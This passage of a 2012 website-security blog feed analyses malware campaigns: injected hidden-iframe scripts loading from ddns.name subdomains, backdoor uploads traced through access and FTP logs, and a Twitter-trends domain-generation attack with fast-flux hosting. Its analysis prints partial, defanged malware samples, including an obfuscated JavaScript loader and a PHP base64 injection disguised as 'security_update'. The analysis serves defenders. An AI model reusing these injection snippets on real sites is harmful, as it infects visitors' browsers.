<li><a href="http://www.mozilla.org/en-US/plugincheck/" target="_blank">Mozilla Plugin Check &amp; Updates</a></li>
<li><a href="https://browsercheck.qualys.com/" target="_blank">Qualys BrowserCheck</a></li>
<li>(new versions of Chrome check plugins by default)</li>
</ol>
</li>
</ol>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/">Lorem Ipsum and Twitter Trends in Malware</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts/">Hackers Use Twitter API To Trigger Malicious Scripts</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/">Twitter API Still Attracts Hackers</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=VAsXOfOJ37A:VwgrH1AJJlc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=VAsXOfOJ37A:VwgrH1AJJlc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=VAsXOfOJ37A:VwgrH1AJJlc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=VAsXOfOJ37A:VwgrH1AJJlc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/02/18/lorem-ipsum-and-twitter-trends-in-malware-update/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Script Injection (*.ddns.name) and Backdoors</title>
		<link>http://blog.unmaskparasites.com/2012/02/12/script-injection-ddns-name-and-backdoors/</link>
		<comments>http://blog.unmaskparasites.com/2012/02/12/script-injection-ddns-name-and-backdoors/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 11:31:55 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Short Attack Reviews]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[ddns.name]]></category>
		<category><![CDATA[log analysis]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=862</guid>
		<description><![CDATA[Just a quick review of hacker attack that I came across this week.
The attackers inject a malicious script into legitimate web pages on compromised sites and update the script several time a day (sometimes they change the script code and sometimes just make sure the script is still there, in case webmasters removed it). Typical [...]]]></description>
			<content:encoded><![CDATA[<p>Just a quick review of hacker attack that I came across this week.</p>
<p>The attackers inject a malicious script into legitimate web pages on compromised sites and update the script several time a day (sometimes they change the script code and sometimes just make sure the script is still there, in case webmasters removed it). Typical scripts looks like this:</p>
<p><code>var $E=(Date);if($E){$f=['2*%0)%5}%1','%3{%b(%9_%8...<strong>skipped</strong>...(1))[$s.$Aj]($l[$0][$s.$1k](0,1));}}return this;},$3=$l(),$f='';$pi('l\x65\x6E\x67th');if ((Number)&amp;&amp;(Array)&amp;&amp;(Function)&amp;&amp;(String)&amp;&amp;(Image)){if(document.getElementsByTagName('s cript').length &gt; 0){document.wr ite('&lt;i frame src="'+document.getElementById('____Uy').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"&gt;&lt;/iframe&gt;');}}</code></p>
<p>The scripts create invisible iframes that load malicious content from subdomains of <span style="color: #993300;">ddns.name</span> (ddns.name is a free dynamic DNS service). E.g.</p>
<p><code>&lt;i frame src="hxxp://<strong>npputdzykop .ddns .name</strong>/index.php?showtopic=892380" style="position: fixed; left:100px; top:<strong>-1000</strong>px; visibility: <strong>hidden</strong>;"&gt;&lt;/iframe&gt;</code></p>
<p>hxxp://bacmdmrnxdf .ddns .name/index.php?showtopic=892380<br />
hxxp://hjuusnhqspt .ddns .name/index.php?showtopic=892380<br />
hxxp://kmkyqilckhi .ddns .name/index.php?showtopic=892380<br />
hxxp://npputdzykop .ddns .name/index.php?showtopic=892380<br />
hxxp://jnobuznhccv .ddns .name/index.php?showtopic=892380<br />
&#8230;</p>
<p>Last time I checked, the malicious subdomains pointed to 37.59.74.146.</p>
<p>When Google detects such malware on websites, you will see the following (or similar) messages on Safe Browsing diagnostic pages:</p>
<blockquote><p>Malicious software is hosted on 7 domain(s), including hyyjkhfgmxk .ddns .name/, google-‐analytics .com/, kmkyqilckhi.ddns.name/.</p>
<p>1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including google‐‐analytics .com/</p></blockquote>
<p><span id="more-862"></span></p>
<h3 id="log">Access log analysis</h3>
<p>I had a chance to analyze access logs of one of the infected sites. Here&#8217;s what I found there:</p>
<p>During 24 hours, IP addresss <strong>81.17.24.72</strong> made <strong>842</strong> successful (response code 200) POST requests to backdoor files in <strong>142</strong> different locations on that server.</p>
<p>Some malicious requests:</p>
<p><code>81.17.24.72 - - [08/Feb/2012:16:11:37 -0500] "POST /<strong>e9a3.php</strong> HTTP/1.1" 200 41869 "-" "-"<br />
81.17.24.72 - - [08/Feb/2012:17:45:12 -0500] "POST /<strong>e9a3.php</strong> HTTP/1.1" 200 460 "-" "-"<br />
81.17.24.72 - - [09/Feb/2012:09:56:36 -0500] "POST /tmp/<strong>9ef4.php</strong> HTTP/1.1" 200 22467 "-" "-"<br />
81.17.24.72 - - [09/Feb/2012:10:04:21 -0500] "POST /...skipped.../images/<strong>9ef4.php</strong> HTTP/1.1" 200 22491 "-" "-"<br />
81.17.24.72 - - [09/Feb/2012:10:09:02 -0500] "POST /...skipped.../includes/admin/<strong>9ef4.php</strong> HTTP/1.1" 200 22499 "-" "-"<br />
81.17.24.72 - - [09/Feb/2012:10:07:29 -0500] "POST /...skipped.../modules/<strong>9ef4.php</strong> HTTP/1.1" 200 22492 "-" "-"<br />
81.17.24.72 - - [09/Feb/2012:12:30:13 -0500] "POST /public_html/...skipped.../wp-content/<strong>9ef4.php</strong> HTTP/1.1" 200 22484 "-" "-"<br />
81.17.24.72 - - [09/Feb/2012:12:35:29 -0500] "POST //public_html/...skipped.../wp-includes/<strong>9ef4.php</strong> HTTP/1.1" 200 22507 "-" "-"<br />
81.17.24.72 - - [09/Feb/2012:12:37:59 -0500] "POST /public_html/...skipped.../cgi-bin/<strong>9ef4.php</strong> HTTP/1.1" 200 22488 "-" "-"<br />
81.17.24.72 - - [09/Feb/2012:13:01:09 -0500] "POST /public_html/...skipped.../wp-admin/<strong>9ef4.php</strong> HTTP/1.1" 200 22503 "-" "-"</code></p>
<h3 id="resolving">Resolving the issue</h3>
<p>As you can see, it not enough to remove malicious scripts from legitimate files. To prevent reinfections, you should also find and delete all backdoor files.</p>
<p>In this particular case, you might also want to block the IP <a href="http://whois.domaintools.com/81.17.24.72" target="_blank">81.17.24.72</a>. Most Control Panels provide an options to block requests from specific IPs. Alternatively, if you use Apache, you might want to add the following lines into the topmost <em>.htaccess</em> file</p>
<p><code>order allow,deny<br />
deny from 81.17.24.72<br />
allow from all</code></p>
<h4 id="hole">Find security hole</h4>
<p>Actually, to stop this attack completely, you should figure out how the attacker managed to upload the backdoor files to your server in the first place.  Unfortunately, I didn&#8217;t have access to historical logs of the compromised sites and couldn&#8217;t trace the beginning of the attack. If your site is affected by this hack and you have access logs for the last 2-4 weeks, I would love to <a href="http://blog.unmaskparasites.com/contact/">hear from you</a>.</p>
<p>At this point, I can suggest that you update all software on you server (including themes, plugins and component) and change all passwords. And don&#8217;t forget to regularly scan you server for suspicious content.</p>
<p><strong id="update1">Update (Feb 16, 2012):</strong> I&#8217;ve managed to get FTP logs of the compromised site and now I&#8217;m confident that this attack uses <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">stolen FTP credentials</a>.</p>
<p>Here are some most representative lines from the logs:</p>
<p><code>...<br />
Sun Feb 12 10:04:54 2012 0 <strong>81.17.24.72</strong> 2280 /home/username/<strong>db21.php</strong> b _ i r username ftp 1 * c<br />
Sun Feb 12 10:27:58 2012 0 <strong>81.17.24.72</strong> 2280 /home/username/.autorespond/<strong>ca82.php</strong> b _ i r intern64 ftp 1 * c<br />
Sun Feb 12 11:01:23 2012 0 <strong>81.17.24.72</strong> 2280 /home/username/.cpaddons/<strong>f041.php</strong> b _ i r username ftp 1 * c<br />
Sun Feb 12 11:29:42 2012 0 <strong>81.17.24.72</strong> 2280 /home/username/.cpanel/<strong>a473.php</strong> b _ i r username ftp 1 * c<br />
Sun Feb 12 11:54:51 2012 0 <strong>81.17.24.72</strong> 2280 /home/username/.htpasswds/<strong>3009.php</strong> b _ i r username ftp 1 * c<br />
Sun Feb 12 12:41:48 2012 0 <strong>81.17.24.72</strong> 2280 /home/username/.trash/<strong>0fc4.php</strong> b _ i r username ftp 1 * c<br />
Sun Feb 12 13:22:50 2012 0 <strong>81.17.24.72</strong> 2280 /home/username/cgi-bin/<strong>9e35.php</strong> b _ i r username ftp 1 * c<br />
Sun Feb 12 13:58:39 2012 0 <strong>81.17.24.72</strong> 2280 /home/username/<strong>c7b0.php</strong> b _ i r username ftp 1 * c<br />
...</code></p>
<p>In the logs, we see the notorious IP address <strong>81.17.24.72</strong> that uploads backdoor files to various directories on server. Later, the same <strong>81.17.24.72</strong> IP uses HTTP POST requests to the uploaded backdoors to infect legitimate files. It currently infects files that have the following strings in their filenames: <em><strong>index</strong></em>, <strong><span style="color: #000000;"><em>default</em></span></strong>.</p>
<p>Once your FTP credentials are stolen, they can be sold to multiple hacker groups. That&#8217;s why it&#8217;s quite typical that a few gangs try to exploit the same site at the same time. In this case, I found traces of a couple of different attacks that also used the FTP vector.</p>
<p>For example, IPs &#8220;<strong>91.121.137.14</strong>&#8220;, &#8220;<strong>91.121.91.142</strong>&#8221; and &#8220;<strong>74.208.132.83</strong>&#8221; routinely uploaded files &#8220;<em><span style="color: #993300;">extra.php</span></em>&#8221; and &#8220;<span style="color: #993300;"><em>frame_cleaner.php</em></span>&#8221; and then subsequently requested them via HTTP GET requests.</p>
<p><strong>198.66.254.199</strong> appended some code to <strong><em>wp-blog-header.php</em></strong></p>
<p><strong>216.183.83.126</strong> injected cloaked spammy links into &#8220;<strong><em>header.php</em></strong>&#8221; of all WordPress themes and modified <strong>.htaccess</strong> files.</p>
<p>As you can see, many attacks use both <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">stolen FTP credentials</a> (to initially break into legitimate websites) and backdoor files (to control and reinfect websites even when webmasters change passwords). In this post, I showed how useful FTP and web server access logs can be to find security holes and malicious files.</p>
<p>Webmasters: do you have logs for your sites? If not, go and enable logging right now!</p>
<p><span style="color: #888888;">##</span><br />
Your comments and any additional informations are welcome.</p>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2011/08/08/ciscotred-cz-cc-joomla-hack/">Ciscotred .cz .cc – Joomla Hack</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/">Dynamic DNS and Botnet of Zombie Web Servers</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/08/23/massive-script-injection-k985ytv/">Massive Script Injection (k985ytv)</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=UkCRKWVvXqo:zD0C4latUxc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=UkCRKWVvXqo:zD0C4latUxc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=UkCRKWVvXqo:zD0C4latUxc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=UkCRKWVvXqo:zD0C4latUxc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/02/12/script-injection-ddns-name-and-backdoors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lorem Ipsum and Twitter Trends in Malware</title>
		<link>http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/</link>
		<comments>http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 10:45:15 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[DNS-DIY]]></category>
		<category><![CDATA[gloa]]></category>
		<category><![CDATA[lorem ipsum]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[obfuscated script]]></category>
		<category><![CDATA[OnlineNIC]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=860</guid>
		<description><![CDATA[A couple of years ago I wrote about malware attacks that used Twitter API to generate domain names for their malicious sites using trending topics as keys in the domain generating algorithm.

Each domain was in use for a few hours only
The next domain names would become available just a few hours before the malicious scripts [...]]]></description>
			<content:encoded><![CDATA[<p>A couple of years ago I wrote about <a href="http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts/">malware attacks</a> t<a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/">hat used Twitter API</a> to generate domain names for their malicious sites using trending topics as keys in the domain generating algorithm.</p>
<ul>
<li>Each domain was in use for a few hours only</li>
<li>The next domain names would become available just a few hours before the malicious scripts on hacked sites begin to use them.</li>
</ul>
<p>Since 2009, I&#8217;ve seen many revisions of that attack. It has never been the most prevalent issue but as far as I can tell it constantly evolves and mutates. The recent update of the malicious script injected by this attack looked quite interesting and I decided to find out what has changed since late 2009.<br />
<span id="more-860"></span></p>
<h3 id="scripts">Malicious scripts</h3>
<p>First of all, here&#8217;s the malicious script that was used in December (<a href="http://pastebin.com/gzqcwU5w" target="_blank">full version</a>)</p>
<p><code>(function($$){qq2=[8,0,26,0,11,81,29,0,26,<strong>...skipped...</strong>87,73,78];qq21=[68,79,87,27,0,9,<strong>...skipped...</strong>39,7,9,10];function co(){return 'Code';}function gafu(){return a(String,'f'+ro()+co());}qq3=[94,39,7,9,10,94,<strong>...skipped...</strong>76,73];qq31=[84,8,7,7,0,19,<strong>...skipped...</strong>0,16,27,54];d='';mapper=[3,32,54,56,64,<strong>...skipped...</strong>24,0,25,0,26,0,27];map='';function fs(ro,arr,add){for(var i=0;i&lt;arr.length;i++){ro+=String.fromCharCode(arr[i]+add);}return ro;}d=fs(d,qq2,32);d=fs(d,qq21,32);d=fs(d,qq3,32);d=fs(d,qq31,32);map=fs(map,mapper,32);function a(b,c){return b[c];};function ro(){return 'romChar';}for(c=55;c;d=(t=d.split(map.substr(c-=(x=c&lt;9?1:2),x))).join(t.pop()));$$(d)})(fun ction(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});</code></p>
<p>It was a long obfuscated one-line script with  long sequences of numbers. More or less, this is what those scripts always looked like. One line of a long obfuscated code, usually at the very bottom or very top of the HTML code of infected web pages.</p>
<p>On PHP sites, this script was injected in a form of an obfuscated PHP code (<a href="http://pastebin.com/36NC4Ugy" target="_blank">full version</a>):</p>
<p><code>ob_start("<strong>security_update</strong>"); function <strong>security_update</strong>($buffer){return $buffer.<strong>base64_decode</strong>('PHNjcmlwdD4oZnVuY3Rpb24oJ<strong>...skipped...</strong>Sk7PC9zY3JpcHQ+');}</code></p>
<p>Quite a typical <strong>base64_decode</strong> obfuscation trick, although disguised by the <strong>security_update</strong> function name to make this code look more legitimate.</p>
<h3 id="2012">January 2012 code mutation</h3>
<p>However in January, the code changed (it is still detectable by <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>). Besides some algorithmic changes, the malicious script now consists of <strong>78</strong> lines of code generously sprinkled with comments in <strong>Latin</strong>!!! Here you can <a href="http://pastebin.com/j8PNeSHC" target="_blank">see the full version</a>.</p>
<p><code>(function($$,_2,_1) {<br />
function qq2(){return [89,75,80,70,81,89,16,73,78,81,<strong>...skipped...</strong>11,93,2,29,13,10,13,96,71,2,18,29,56];}<br />
function co() { return 'Code';}<br />
<strong>...skipped...</strong><br />
mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2<strong>...skipped...</strong>27,2,28,2,29];<br />
map = '';<br />
function fs(ro, arr, add, st, en,dp) {<br />
<span style="color: #808000;"><em>//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur</em></span><br />
<strong>...skipped...</strong><br />
})(function(jsBb) {<br />
return (function(jsB, jsBs) {<br />
return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()<br />
})((function(jsB) {<br />
return jsB.constructor<br />
}), (function(jsB) {<br />
return (function(jsBs) {<br />
<span style="color: #808000;"><em>//accumsan dapibus diam</em></span><br />
<strong>...skipped...</strong><br />
});<br />
/**/<br />
<strong>gloa</strong>();</code></p>
<p>For some reason, hackers thought that comments in Latin would make their code look more legitimate, more reputable. But for me, the Latin comments were like a huge alert message &#8212; who would want to use Latin in JavaScript comments? It just doesn&#8217;t make sense.</p>
<h3 id="lorem">Lorem Ipsum</h3>
<p>Moreover, after some inspection, the Latin text appeared to be a random mixture of word from the classic &#8220;<a href="http://en.wikipedia.org/wiki/Lorem_ipsum">Lorem Ipsum</a>&#8221; text. This text is used as a placeholder text in publishing and graphic design to have people focus on the visual presentation of elements rather than reading the text.  But I doubt someone cares about visual presentation of a normally invisible html code and there is no point in providing comments if they are unreadable.</p>
<h3 id="sustainability">Making the attack sustainable</h3>
<p>Anyway, this change in the formatting of the malicious script was probably one of the multiple tricks that aimed to improve the whole sustainability of the attack. In this case, they changed the code so that it doesn&#8217;t resemble a typical malicious script with a single line of an obfuscated code. The goal is to increase the infection period (time before a webmaster identifies the source of a problems and removes the script).</p>
<p>However malicious scripts on infected web pages is not the only thing that contributes to success of an attack. Most drive-by attacks rely on some third-party malicious sites where malware is being actually loaded from. Such sites have domain names and IP addresses that can be easily blacklisted by antivirus software, browsers and firewalls &#8212; this can significantly affect the attack performance. Moreover, authorities can suspend offending domains and request hosting providers to shut down malicious sites and whole servers. This attack uses several interesting solutions to address such threats.</p>
<h3 id="algo">Generating domain names on the fly</h3>
<p>To avoid blacklisting, hackers have to frequently change domain names of  their malware distributing websites. This particular attack rather than regularly        updating injected scripts to use new links to malware sites, uses Twitter API (trends) and a clever algorithm         to generate new pseudo-random domain names of attack sites on the  fly.</p>
<p>It&#8217;s a new version of the algorithm that I <a href="http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts/">described two years ago</a>. Here&#8217;s an overview of this new algorithm.</p>
<ol>
<li> It uses Twitter API (<span style="color: #000080;">http://api.twitter.com/1/trends/daily.json</span>) to get a list of trending topics that were hot two days ago.</li>
<li> Depending on the current time, it extracts the fourth topic from the list of trends for one of the following hours: <strong>01:00</strong>, <strong>07:00</strong>, <strong>13:00</strong> or <strong>19:00</strong> (in some rare cases they may use  <strong>02:00</strong>, <strong>08:00</strong>, <strong>14:00</strong> or <strong>20:00</strong>)</li>
<li>The extracted trending topic is used as a key in a domain name generating algorithm.</li>
<li>The algorithm just returns a permutation of characters in the key and uses the first <strong>10-13</strong> of them as a new domain name.</li>
<li>To address edge cases where a trending topic is less than <strong>10</strong> characters long and to improve the random nature of permutations, they append the word &#8220;<strong>microscope</strong>&#8221; to the trending topic before applying the algorithm.</li>
<li>As a result, the algorithm generates domain names like: <em><span style="color: #993300;">dgeocanyaf .com</span></em>, <em><span style="color: #993300;">ocooecunrpbn .com</span></em>, <em><span style="color: #993300;">snrrstrcocri .com</span></em> (<a href="http://pastebin.com/EcRgmZj9" target="_blank">more domain names here</a>), that change every <strong>6</strong> hours. The attackers have almost two days to register them (they register them just a few hours before the use though).</li>
<li>Then the script builds a URL of a malicious page, adding the &#8220;<em><span style="color: #993300;">/index.php?tp=001e4bb7b4d7333d</span></em>&#8221; path to the generated domain names. The resulting URL is used to create an invisible iframe that pushes exploits to web browsers of people who visit infected web pages.</li>
</ol>
<p>The benefit of this approach is the attack can easily survive if some  domain is blocked or unavailable for some reason &#8212; it only means not  more than <strong>6</strong> hours of downtime. On the other hand, if  someone reverse engineers the algorithm (like I did) they can use the  same algorithm to blacklist or sinkhole the domain names before they  become malicious.</p>
<h3 id="new">So what&#8217;s new comparing to that two year old version of the attack?</h3>
<p>The main differences from the <a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/#new_algo">previously described algorithm</a>, are:</p>
<p>1. Hardcoded year 2012. This proves that the attack is still active and the attackers don&#8217;t want to abandon this Twitter based approach to generate domain names.</p>
<p>2.  Instead of just <strong>2</strong> domains, they generate and use <strong>4</strong> new domains every day, and change them every <strong>6</strong> hours.</p>
<p>3. The domain generating algorithm no longer uses predefined suffixes for the generated domains. They used to have <a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/#domain_info">12 month-specific predefined suffixes</a> that helped easily identify the attack when you knew where the infected page tried to load the malicious content from. The current algorithm generates completely random domain names that don&#8217;t have any easily identifiable parts that can help classify them as belonging to this attack.</p>
<h3 id="demo">Online Demo</h3>
<p>To show how this domain generating algorithm works, I&#8217;ve create an<a href="http://www.unmaskparasites.com/security-tools/twitter-malware-domain-generator.html" target="_blank"> online tool</a> that uses the same algorithm to predict malicious domains in real time. It shows <strong>4</strong> today&#8217;s malicious domains and predicts <strong>4</strong> domains that should be used by the attack tomorrow (more or less, depending on your time zone).</p>
<p>To make it more informative, I&#8217;ve provided two links for each domain name</p>
<ol>
<li><strong>Whois</strong> &#8212; to show whether the domain is registered and if it is then show who and when registered it (in most cases you&#8217;ll see the current date)</li>
<li><strong>Google&#8217;s Safe Browsing diagnostic</strong> &#8212; to show whether Google has already picked up the malicious domain (this usually happens by the end of the 6-hour lifespan of that domain)</li>
</ol>
<p>Just to make this tool a little bit less boring, each domain name is accompanied by a corresponding Twitter trending topic that was used to generate that domain name.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/01/predicted-malicious-domains.jpg" border="0" alt="predicted malicious domains" /></div>
<p>For example, as I write this article on January 25th, the current malicious domain is &#8220;<span style="color: #993300;">dgeocanyaf .com</span>&#8221; and the corresponding Twitter trending topic from January 23rd is &#8220;<span style="color: #333333;"><strong><em>Happy Year of the Dragon</em></strong></span>&#8220;. The domain was <a href="http://www.whois-search.com/whois/dgeocanyaf.com" target="_blank">registered on January 25th, 2012</a> and Google already lists it as <a href="http://www.google.com/safebrowsing/diagnostic?site=dgeocanyaf.com" target="_blank">suspicious</a>.</p>
<p>The upcoming malicious domain is &#8220;<span style="color: #993300;">epljsxiomccg .com</span>&#8221; and the corresponding Twitter topic is &#8220;<em><strong><span style="color: #333333;">Judge Alex</span></strong>&#8220;</em>. The domain is already <a href="http://www.whois-search.com/whois/epljsxiomccg.com" target="_blank">registered</a> but Google doesn&#8217;t list it as suspicious (no wonder &#8211; it is not active yet).</p>
<p>The first predicted domain for January 26th (GMT time zone) is &#8220;<span style="color: #993300;">mrrcatsphmoin .com</span>&#8221; and the corresponding trending topic from January 24th is &#8220;<span style="color: #333333;"><strong><em>Mr. and Mrs. Smith</em></strong></span>&#8220;. This domain is not registered yet (it should be by the time when you read this article) and Google doesn&#8217;t know about it yet.</p>
<p>If you are interested in the code of the algorithm, you can check the source code of the web page of <a href="http://www.unmaskparasites.com/security-tools/twitter-malware-domain-generator.html" target="_blank">this online tool</a>.</p>
<h3 id="onlinenic">OnlineNIC Domain Resellers</h3>
<p>If you analize the Whois information for those domains, you can see that they all have been registered via <a href="http://www.onlinenic.com">OnlineNIC Inc</a>. To register domains, the attackers used a few supposedly fake accounts &#8211; all of them marked as &#8220;<strong>reseller</strong>&#8220;.</p>
<p>So what does it mean to be an OnlineNiC&#8217;s domain reseller?</p>
<p>1. Anyone can <a href="http://www.onlinenic.com/domain-reseller/">register</a> to be a reseller. The prices begin from $94 of prepayment (you can use them later to purchase domains).</p>
<p>2.  OnlineNIC provides &#8220;<em>an <strong>API/template system</strong> to make it a snap for you to get started. In a matter of minutes, you can easily integrate private-labeled real-time domain name registration services right into your own Web site!</em>&#8221;</p>
<p>So what is that API? According to the documentation: &#8220;<em>The <strong>application program interface (API)</strong> is a set of routines and criterion and protocols by OnlineNIC. &#8230; It makes you and your client easier to</em><br />
<em><strong>complete products purchase, management</strong>, and info-query and so on via API.</em>&#8221;</p>
<p>Here are just a few things that this API allows to do:</p>
<ul>
<li>Check domain availability</li>
<li>Register domain</li>
<li>Create Name Servers</li>
<li>Update domain Name Servers</li>
</ul>
<p>So, resellers can use this API to create a program that will  automatically purchase and manage domains. That&#8217;s a perfect solution for this attack, isn&#8217;t it?</p>
<h3 id="dns">DNS-DIY</h3>
<p>The reseller account comes with free <a href="http://www.onlinenic.com/dnsdiy/">DNS-DIY</a> DNS service that allows to manage A records and customize Name Servers (&#8220;<em>Add the domain which you are using as dns at www.DNS-DIY.net, then create CNAME Records for ns1.yourcompany.com and ns2.yourcompany.com so that they can be pointed to ns1.DNS-DIY.net and ns2.DNS-DIY.net.</em>&#8221; &#8211; that&#8217;s why you can see ns(1|2).malicious-domain.com as Name Servers of those malicious domains in Whois) There should be no surprise that DNS-DIY has an API too &#8212; so all operations can be automated.</p>
<h3 id="fastflux">Zombie-computers as fast flux hosting</h3>
<p>The DNS-DIY API is used for a good reason. Not only do the attackers need it to initially configure new domains to point to certain servers, but they also use it to avoid taking down the malware distributing servers.</p>
<p>This attack uses a technique called <a href="http://en.wikipedia.org/wiki/Fast_flux">Fast flux hosting</a> (if I use this term correctly). Here&#8217;s how it works.</p>
<p>When the attackers register a new domain, they create two A records for each domain. This means that each domain points to two different IPs and it&#8217;s up to your DNS software which of them to use.</p>
<p>These two A-records help achieve two goals:</p>
<ul>
<li>load balancing &#8211; the traffic is split between two servers</li>
<li>if one server is shut down or unavailable for some reason, the other server will still be processing requests.</li>
</ul>
<p>However, it is not the most interesting thing in the fast-flux scheme. After all, the second server can be shut down too. The most interesting thing is how the attackers choose which two IPs to use in A records.</p>
<p>The thing is the IP addresses in the A records change every <strong>6</strong> hours, the same way as they change the domain names used in this attack.</p>
<p>Here is a list of <a href="http://pastebin.com/aULdDSiZ" target="_blank">120 unique IP addresses</a> that I collected over the last few days (not only did they use them for new domains but also updated A records of some older domains).  The analysis of those IPs shows that they all belong to IP blocks of cable, broadband and even wireless ISPs from all around the world:</p>
<ul>
<li>Australia Melbourne Telstra Internet</li>
<li>Austria		        Linz		        Liwest Kabelfernsehen Errichtungs- Und Betriebs Ges.m.b.h</li>
<li>Austria Vienna Oebb Telekom Service Gmbh</li>
<li>France		        Paris		        Free Sas</li>
<li>Germany Kabel Deutschland Breitband Service Gmbh</li>
<li>Germany Leipzig Primacom Berlin Gmbh</li>
<li>Italy Chieti Telecom Italia S.p.a</li>
<li>Italy Telecom Italia Mobile</li>
<li>Netherlands Amsterdam Upc Broadband Operations B.v,</li>
<li>Netherlands Barneveld Matrix Pc B.v</li>
<li>Philippines		        Makati		        Pldt</li>
<li>Poland Telewizja Kablowa Kolobrzeg Agencja Uslugowo &#8211; Reklamowa Sp. Z O.o</li>
<li>United States		        Richmond		        Comcast Cable Communications Inc</li>
<li>United States		        Houston		        AT&amp;T Internet Services</li>
<li>United States		        Kyle		        Road Runner Holdco Llc</li>
<li>Venezuela, Bolivarian Republic Of Barquisimeto Internet Cable Plus C. A,</li>
<li>and many more &#8230;</li>
</ul>
<p>This proves that instead of real web servers, the malicious domains point to infected computers of normal web surfers, so called bots or zombie-computer.  This approach is not new. For example, two years ago I described how <a href="http://blog.unmaskparasites.com/2010/02/27/web-of-koobface/">Koobface used web servers</a> <a href="http://blog.unmaskparasites.com/2010/02/27/web-of-koobface/#pc">on infected PCs</a>.</p>
<h3 id="nginx">Nginx reverse proxies</h3>
